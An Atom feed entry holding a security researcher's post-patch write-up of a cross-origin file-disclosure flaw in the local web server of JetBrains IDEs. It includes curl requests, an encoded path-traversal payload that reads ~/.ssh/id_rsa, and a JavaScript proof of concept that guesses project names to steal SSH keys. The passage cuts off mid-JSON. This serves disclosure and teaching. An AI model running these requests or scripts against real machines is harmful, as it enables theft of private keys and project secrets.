<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[Defined Misbehaviour]]></title>
  <link href="http://blog.saynotolinux.com/atom.xml" rel="self"/>
  <link href="http://blog.saynotolinux.com/"/>
  <updated>2016-08-16T12:54:12-07:00</updated>
  <id>http://blog.saynotolinux.com/</id>
  <author>
    <name><![CDATA[Jordan Milne]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[JetBrains IDE Remote Code Execution and Local File Disclosure]]></title>
    <link href="http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/"/>
    <updated>2016-08-15T00:00:00-07:00</updated>
    <id>http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis</id>
    <content type="html"><![CDATA[<h1>TL;DR</h1>

<p>From at least 2013 until May 2016 JetBrains&#8217; IDEs were vulnerable to local file leakage, with the Windows (EDIT: <em>and</em> OS X) versions additionally being vulnerable to remote code execution. The only prerequisite for the attack was to have the victim visit an attacker-controlled webpage while the IDE was open.</p>

<p>Affected IDEs included PyCharm, Android Studio, WebStorm, IntelliJ IDEA and several others.</p>

<p>I&rsquo;ve tracked the core of most of these issues (CORS allowing all origins + always-on webserver) <a href="https://github.com/JetBrains/intellij-community/commit/11f333f60cd2fc5b14f8535a2f1d156e90bb372e">back to the addition of the webserver to WebStorm in 2013</a>. It&rsquo;s my belief that all JetBrains IDEs with always-on servers since then are vulnerable to variants of these attacks.</p>

<p>The arbitrary code execution vuln affecting Windows and OS X was in all IDE releases <a href="https://github.com/JetBrains/intellij-community/commit/9c762d305709afa51103dedd48e37c5c727fc80e">since at least July 13, 2015</a>, but was probably exploitable earlier via other means.</p>

<p>All of the issues found were fixed in the patch released <a href="http://blog.jetbrains.com/blog/2016/05/11/security-update-for-intellij-based-ides-v2016-1-and-older-versions/">May 11th 2016</a>.</p>

<!--more-->


<h1>Investigation</h1>

<p>To follow along with this you&rsquo;ll need a copy of PyCharm 5.0.4, or an old build of PyCharm 2016.1 since this has been patched for a while now. Obviously you&rsquo;ll want to do this in a VM.</p>

<ul>
<li>Linux: <a href="https://download.jetbrains.com/python/pycharm-community-5.0.4.tar.gz">https://download.jetbrains.com/python/pycharm-community-5.0.4.tar.gz</a></li>
<li>OS X: <a href="https://download.jetbrains.com/python/pycharm-community-5.0.4.dmg">https://download.jetbrains.com/python/pycharm-community-5.0.4.dmg</a></li>
<li>Windows: <a href="https://download.jetbrains.com/python/pycharm-community-5.0.4.exe">https://download.jetbrains.com/python/pycharm-community-5.0.4.exe</a></li>
</ul>


<h2>Initial Discovery</h2>

<p>I had just started working on some <a href="https://en.wikipedia.org/wiki/Inter-protocol_exploitation">inter-protocol exploitation</a> research and was looking for some interesting targets. Thinking that I must have some interesting services running on my own device, I ran <code>lsof -P -ITCP | grep LISTEN</code> to see what programs were listening on a local TCP port. I got back:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ lsof -P -iTCP | grep LISTEN
</span><span class='line'># ...
</span><span class='line'>pycharm   4177 user  289u  IPv4 0x81a02fb90b4eef47      0t0  TCP localhost:63342 (LISTEN)</span></code></pre></td></tr></table></div></figure>


<p>Hmm, I&rsquo;ve used <a href="https://www.jetbrains.com/pycharm/">PyCharm</a> as my IDE of choice for a while now, but never noticed that it bound to any ports&hellip; Might it be some sort of ad-hoc IPC mechanism? Let&rsquo;s nmap it to figure out what&rsquo;s being sent over those ports, and what the protocol is:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ nmap -A -p 63342 127.0.0.1
</span><span class='line'># [...]
</span><span class='line'>PORT      STATE SERVICE VERSION
</span><span class='line'>63342/tcp open  unknown
</span><span class='line'>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
</span><span class='line'>SF-Port63342-TCP:V=6.46%I=7%D=8/2%Time=57A0DD64%P=x86_64-apple-darwin13.1.
</span><span class='line'>SF:0%r(GetRequest,173,"HTTP/1\.1\x20404\x20Not\x20Found\r\ncontent-type:\x
</span><span class='line'># [...]</span></code></pre></td></tr></table></div></figure>


<p>Looks like an HTTP server? Unusual for a local application&hellip; Let&rsquo;s see what CORS headers it serves up with responses:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/"
</span><span class='line'>&gt; GET / HTTP/1.1
</span><span class='line'>&gt; Host: 127.0.0.1:63342
</span><span class='line'>&gt; User-Agent: curl/7.43.0
</span><span class='line'>&gt; Accept: */*
</span><span class='line'>&gt; Origin: http://attacker.com/
</span><span class='line'>&gt; 
</span><span class='line'>&lt; HTTP/1.1 404 Not Found
</span><span class='line'>[...]
</span><span class='line'>&lt; access-control-allow-origin: http://attacker.com/
</span><span class='line'>&lt; vary: origin
</span><span class='line'>&lt; access-control-allow-credentials: true
</span><span class='line'>&lt; access-control-allow-headers: authorization
</span><span class='line'>&lt; access-control-allow-headers: origin
</span><span class='line'>&lt; access-control-allow-headers: content-type
</span><span class='line'>&lt; access-control-allow-headers: accept
</span><span class='line'>&lt; 
</span><span class='line'>* Connection #0 to host 127.0.0.1 left intact
</span><span class='line'>&lt;!doctype html&gt;&lt;title&gt;404 Not Found&lt;/title&gt;&lt;h1 style="text-align: center"&gt;404 Not Found&lt;/h1&gt;&lt;hr/&gt;&lt;p style="text-align: center"&gt;PyCharm 5.0.4&lt;/p&gt;</span></code></pre></td></tr></table></div></figure>


<p>Something smells off here. <a href="https://github.com/JetBrains/intellij-community/blob/10a4c91dbfca935b4b5531003fd8c13b56e66202/platform/platform-impl/src/org/jetbrains/io/NettyUtil.java#L237-L243">PyCharm&rsquo;s HTTP server is essentially saying</a> that web pages on any origin (including <code>http://attacker.com</code>) are allowed to make credentialed requests to it and read the response. What the heck is this HTTP server, though? Does it serve anything sensitive? Do we even care if random pages are able to read its contents?</p>

<h2>What&rsquo;s that HTTP server?</h2>

<p>After searching the web for references to that port number, we find that this is related to a <a href="http://blog.jetbrains.com/webide/2013/03/built-in-server-in-webstorm-6/">WebStorm feature added in early 2013</a> (WebStorm is another of JetBrains&#8217; IDEs.) The idea was that you wouldn&rsquo;t need to set up your own web server to preview your pages in a browser. You could just click a &ldquo;view in browser&rdquo; button inside WebStorm and it would navigate your browser to <code>http://localhost:63342/&lt;projectname&gt;/&lt;your_file.html&gt;</code>. Any scripts or subresources that the page tried to include would similarly be served up via URLs like <code>http://localhost:63342/&lt;projectname&gt;/some_script.js</code>. Fancy.</p>

<p>To verify that PyCharm embeds the same server as WebStorm, let&rsquo;s create a project named &ldquo;testing&rdquo; in PyCharm and place a file named &ldquo;something.txt&rdquo; in the root and see if we can fetch it:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/testing/something.txt"
</span><span class='line'>&gt; GET /testing/something.txt HTTP/1.1
</span><span class='line'>&gt; Host: 127.0.0.1:63342
</span><span class='line'>&gt; User-Agent: curl/7.43.0
</span><span class='line'>&gt; Accept: */*
</span><span class='line'>&gt; Origin: http://attacker.com/
</span><span class='line'>&gt; 
</span><span class='line'>&lt; HTTP/1.1 200 OK
</span><span class='line'>[...]
</span><span class='line'>&lt; access-control-allow-origin: http://attacker.com/
</span><span class='line'>[...]
</span><span class='line'>these are the file contents!</span></code></pre></td></tr></table></div></figure>


<p>Yikes, so any site can read any of your project files so long as they can guess the project name and filename. This would obviously include any in-tree configuration files that contained secrets like AWS keys and the like. Here&rsquo;s an HTML snippet we could include on <code>attacker.com</code> that would do the same thing as our cURL command:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt">&lt;script&gt;</span>
</span><span class='line'><span class="kd">var</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span><span class='line'><span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;GET&quot;</span><span class="p">,</span> <span class="s2">&quot;http://localhost:63342/testing/something.txt&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span><span class='line'><span class="nx">xhr</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span><span class="nx">alert</span><span class="p">(</span><span class="nx">xhr</span><span class="p">.</span><span class="nx">responseText</span><span class="p">)};</span>
</span><span class='line'><span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
</span><span class='line'><span class="nt">&lt;/script&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>This is pretty bad, but as-is this would mostly be useful for targeted attacks. It&rsquo;s a pain to have to guess at directory structures to get at the interesting files, so what are some ways we can weaponize this?</p>

<h1>Weaponization</h1>

<h2>Escaping from the project directory</h2>

<p>Let&rsquo;s see if we can read files <em>outside</em> of the project directory. There are some files (like SSH keys, etc) that live at standard locations and are interesting for an attacker. Much more interesting than possible credentials for some database that might not even be accessible to us.</p>

<p>The obvious thing to do is see how it handles dot segments in the request URI:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>curl -v <span class="s2">&quot;http://localhost:63342/testing/../../../.ssh/id_rsa&quot;</span>
</span><span class='line'>* Rebuilt URL to: http://localhost:63342/.ssh/id_rsa
</span></code></pre></td></tr></table></div></figure>


<p>Bah. <a href="https://tools.ietf.org/html/rfc3986#section-5.2.4">Per the spec</a> dot segments in paths must be normalized away by either the client or the server. cURL&rsquo;s behaviour here is the same as you’d see in a browser. Luckily PyCharm&rsquo;s internal HTTP server treats dot segments with urlencoded <code>/</code>s like <code>%2F..%2F</code> as semantically equivalent to the unencoded <code>/../</code> form, and browsers will not normalize those away.</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>curl -v <span class="s2">&quot;http://localhost:63342/testing/..%2f..%2f.ssh/id_rsa&quot;</span>
</span><span class='line'>&gt; GET /testing/..%2f..%2f.ssh/id_rsa HTTP/1.1
</span><span class='line'><span class="o">[</span>...<span class="o">]</span>
</span><span class='line'>&gt;
</span><span class='line'>&lt; HTTP/1.1 <span class="m">200</span> OK
</span><span class='line'>&lt; content-type: application/octet-stream
</span><span class='line'>&lt; server: PyCharm 5.0.4
</span><span class='line'><span class="o">[</span>...<span class="o">]</span>
</span><span class='line'>&lt;
</span><span class='line'>ssh-rsa AAAAB3NzaC<span class="o">[</span>...<span class="o">]</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<p>Great success! Our only limitation here is that we <em>must</em> know the name of a project the victim has open. Requesting <code>/invalidproject/&lt;anything&gt;</code> will always 404.</p>

<p>The obvious choice is to use a dictionary of potential project names a user could have open, and try to request <code>/&lt;potential_projectname&gt;/.idea/workspace.xml</code> (which is a metadata file automatically added to most JetBrains projects.)</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>curl --head <span class="s2">&quot;http://localhost:63342/testing/.idea/workspace.xml&quot;</span>
</span><span class='line'>HTTP/1.1 <span class="m">200</span> OK
</span><span class='line'><span class="nv">$ </span>curl --head <span class="s2">&quot;http://localhost:63342/somethingelse/.idea/workspace.xml&quot;</span>
</span><span class='line'>HTTP/1.1 <span class="m">404</span> Not Found
</span></code></pre></td></tr></table></div></figure>


<p>We got a 200 for <code>testing</code>, so we know it&rsquo;s a valid project.</p>

<p>A naive PoC for this in JavaScript:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="kd">function</span> <span class="nx">findLoadedProject</span><span class="p">(</span><span class="nx">cb</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="kd">var</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span><span class='line'>  <span class="c1">// Let&#39;s assume we have a sensible dictionary here.</span>
</span><span class='line'>  <span class="kd">var</span> <span class="nx">possibleProjectNames</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&quot;foobar&quot;</span><span class="p">,</span> <span class="s2">&quot;testing&quot;</span><span class="p">,</span> <span class="s2">&quot;bazquux&quot;</span><span class="p">];</span>
</span><span class='line'>  <span class="kd">var</span> <span class="nx">tryNextProject</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">possibleProjectNames</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>      <span class="nx">cb</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span><span class='line'>      <span class="k">return</span><span class="p">;</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="kd">var</span> <span class="nx">projectName</span> <span class="o">=</span> <span class="nx">possibleProjectNames</span><span class="p">.</span><span class="nx">pop</span><span class="p">();</span>
</span><span class='line'>    <span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;GET&quot;</span><span class="p">,</span> <span class="s2">&quot;http://localhost:63342/&quot;</span> <span class="o">+</span> <span class="nx">projectName</span> <span class="o">+</span> <span class="s2">&quot;/.idea/workspace.xml&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">xhr</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>      <span class="k">if</span><span class="p">(</span><span class="nx">xhr</span><span class="p">.</span><span class="nx">status</span> <span class="o">===</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">cb</span><span class="p">(</span><span class="nx">projectName</span><span class="p">);</span>
</span><span class='line'>      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">tryNextProject</span><span class="p">();</span>
</span><span class='line'>      <span class="p">}</span>
</span><span class='line'>    <span class="p">};</span>
</span><span class='line'>    <span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
</span><span class='line'>  <span class="p">};</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">var</span> <span class="nx">findSSHKeys</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">projectName</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="kd">var</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span><span class='line'>  <span class="kd">var</span> <span class="nx">depth</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span><span class='line'>  <span class="kd">var</span> <span class="nx">tryNextDepth</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>    <span class="c1">// No luck, SSH directory doesn&#39;t share a parent</span>
</span><span class='line'>    <span class="c1">// directory with the project.</span>
</span><span class='line'>    <span class="k">if</span><span class="p">(</span><span class="o">++</span><span class="nx">depth</span> <span class="o">&gt;</span> <span class="mi">15</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>      <span class="k">return</span><span class="p">;</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="c1">// Chances are that both `.ssh` and the project directory are under the user&#39;s home folder,</span>
</span><span class='line'>    <span class="c1">// let&#39;s try to walk up the dir tree.</span>
</span><span class='line'>    <span class="nx">dotSegs</span> <span class="o">=</span> <span class="s2">&quot;..%2f&quot;</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">depth</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;GET&quot;</span><span class="p">,</span> <span class="s2">&quot;http://localhost:63342/&quot;</span> <span class="o">+</span> <span class="nx">projectName</span> <span class="o">+</span> <span class="s2">&quot;/&quot;</span> <span class="o">+</span> <span class="nx">dotSegs</span> <span class="o">+</span> <span class="s2">&quot;.ssh/id_rsa.pub&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">xhr</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span><span class='line'>      <span class="k">if</span> <span class="p">(</span><span class="nx">xhr</span><span class="p">.</span><span class="nx">status</span> <span class="o">===</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">xhr</span><span class="p">.</span><span class="nx">responseText</span><span class="p">);</span>
</span><span class='line'>      <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'>        <span class="nx">tryNextDepth</span><span class="p">();</span>
</span><span class='line'>      <span class="p">}</span>
</span><span class='line'>    <span class="p">};</span>
</span><span class='line'>    <span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'><span class="p">};</span>
</span><span class='line'>
</span><span class='line'><span class="nx">findLoadedProject</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">projectName</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>  <span class="k">if</span><span class="p">(</span><span class="nx">projectName</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">projectName</span><span class="p">,</span> <span class="s2">&quot;is a valid project, looking for SSH key&quot;</span><span class="p">);</span>
</span><span class='line'>    <span class="nx">findSSHKeys</span><span class="p">(</span><span class="nx">projectName</span><span class="p">);</span>
</span><span class='line'>  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span><span class='line'>    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&quot;Failed to guess a project name&quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'><span class="p">});</span>
</span></code></pre></td></tr></table></div></figure>


<p>There&rsquo;s no rate-limiting, and I was able to try about 2000 project names a second using this method with Chrome even on my older laptop.</p>

<h2>Can we get around having to guess a project name?</h2>

<p>At this point, I started looking at the various APIs that PyCharm exposed via the same webserver. Having to guess a valid, open project name to leak files is a big mitigating factor, and the API might give us a way around that.</p>

<p>Eventually I came upon the <code>/api/internal</code> endpoint, which corresponds to <a href="https://github.com/JetBrains/intellij-community/blob/10a4c91dbfca935b4b5531003fd8c13b56e66202/platform/built-in-server/src/org/jetbrains/ide/JetBrainsProtocolHandlerHttpService.java"><code>JetBrainsProtocolHandlerHttpService</code></a>. Apparently this lets you pass in a JSON blob containing a URL with a <code>jetbrains:</code> scheme, and the IDE will do something special with it. As far as I can tell, none of the IDEs actually install a systemwide handler for those URLs, and those URLs are undocumented. In any case, let&rsquo;s look for some interesting <code>jetbrains:</code> URLs we can pass it.</p>

<p>The <a href="https://github.com/JetBrains/intellij-community/blob/10a4c91dbfca935b4b5531003fd8c13b56e66202/platform/platform-impl/src/com/intellij/openapi/project/impl/JBProtocolOpenProjectCommand.java"><code>jetbrains://&lt;project_name&gt;/open/&lt;path&gt;</code> handler</a> seems promising:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='java'><span class='line'><span class="kd">public</span> <span class="kd">class</span> <span class="nc">JBProtocolOpenProjectCommand</span> <span class="kd">extends</span> <span class="n">JBProtocolCommand</span> <span class="o">{</span>
</span><span class='line'>  <span class="kd">public</span> <span class="nf">JBProtocolOpenProjectCommand</span><span class="o">()</span> <span class="o">{</span>
</span><span class='line'>    <span class="kd">super</span><span class="o">(</span><span class="s">&quot;open&quot;</span><span class="o">);</span>
</span><span class='line'>  <span class="o">}</span>
</span><span class='line'>
</span><span class='line'>  <span class="nd">@Override</span>
</span><span class='line'>  <span class="kd">public</span> <span class="kt">void</span> <span class="nf">perform</span><span class="o">(</span><span class="n">String</span> <span class="n">target</span><span class="o">,</span> <span class="n">Map</span><span class="o">&lt;</span><span class="n">String</span><span class="o">,</span> <span class="n">String</span><span class="o">&gt;</span> <span class="n">parameters</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>    <span class="n">String</span> <span class="n">path</span> <span class="o">=</span> <span class="n">URLDecoder</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">target</span><span class="o">);</span>
</span><span class='line'>    <span class="n">path</span> <span class="o">=</span> <span class="n">StringUtil</span><span class="o">.</span><span class="na">trimStart</span><span class="o">(</span><span class="n">path</span><span class="o">,</span> <span class="n">LocalFileSystem</span><span class="o">.</span><span class="na">PROTOCOL_PREFIX</span><span class="o">);</span>
</span><span class='line'>    <span class="n">ProjectUtil</span><span class="o">.</span><span class="na">openProject</span><span class="o">(</span><span class="n">path</span><span class="o">,</span> <span class="kc">null</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span>
</span><span class='line'>  <span class="o">}</span>
</span><span class='line'><span class="o">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>This lets us open a project by passing in its absolute path. The <code>/etc</code> directory exists on most *NIX-like systems, let&rsquo;s try opening that:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>curl <span class="s2">&quot;http://127.0.0.1:63342/api/internal&quot;</span> --data <span class="s1">&#39;{&quot;url&quot;: &quot;jetbrains://whatever/open//etc&quot;}&#39;</span>
</span></code></pre></td></tr></table></div></figure>


<p><img src="http://blog.saynotolinux.com/images/posts/jetbrains/open_etc.png"></p>

<p>Dang, so the directory needs to actually contain a JetBrains-style project, we can&rsquo;t just pass any old directory. Lucky for us, PyCharm 2016.1 and above ship with a JetBrains-style project in their system folder! Under OS X this will be in <code>/Applications/PyCharm.app/Contents/helpers</code>, let&rsquo;s try that:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>curl -v <span class="s2">&quot;http://127.0.0.1:63342/api/internal&quot;</span> --data <span class="s1">&#39;{&quot;url&quot;: &quot;jetbrains://whatever/open//Applications/PyCharm.app/Contents/helpers&quot;}&#39;</span>
</span></code></pre></td></tr></table></div></figure>


<p><img src="http://blog.saynotolinux.com/images/posts/jetbrains/helpers_project.png"></p>

<p>Bingo. Now we don&rsquo;t have to guess at an open project name as we now know the <code>helpers</code> project is open. There&rsquo;s no standard location for PyCharm&rsquo;s root folder under Linux (it&rsquo;s wherever the user happened to un<code>tar</code> it to,) but we can determine it by reqesting <code>/api/about?more=true</code> and looking at the <code>homePath</code> key:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class='json'><span class='line'><span class="p">{</span>
</span><span class='line'>  <span class="nt">&quot;name&quot;</span><span class="p">:</span> <span class="s2">&quot;PyCharm 2016.1.2&quot;</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;productName&quot;</span><span class="p">:</span> <span class="s2">&quot;PyCharm&quot;</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;baselineVersion&quot;</span><span class="p">:</span> <span class="mi">145</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;buildNumber&quot;</span><span class="p">:</span> <span class="mi">844</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;vendor&quot;</span><span class="p">:</span> <span class="s2">&quot;JetBrains s.r.o.&quot;</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;isEAP&quot;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;productCode&quot;</span><span class="p">:</span> <span class="s2">&quot;PY&quot;</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;buildDate&quot;</span><span class="p">:</span> <span class="mi">1460098800000</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;isSnapshot&quot;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;configPath&quot;</span><span class="p">:</span> <span class="s2">&quot;/home/user/.PyCharm2016.1/config&quot;</span><span class="p">,</span>
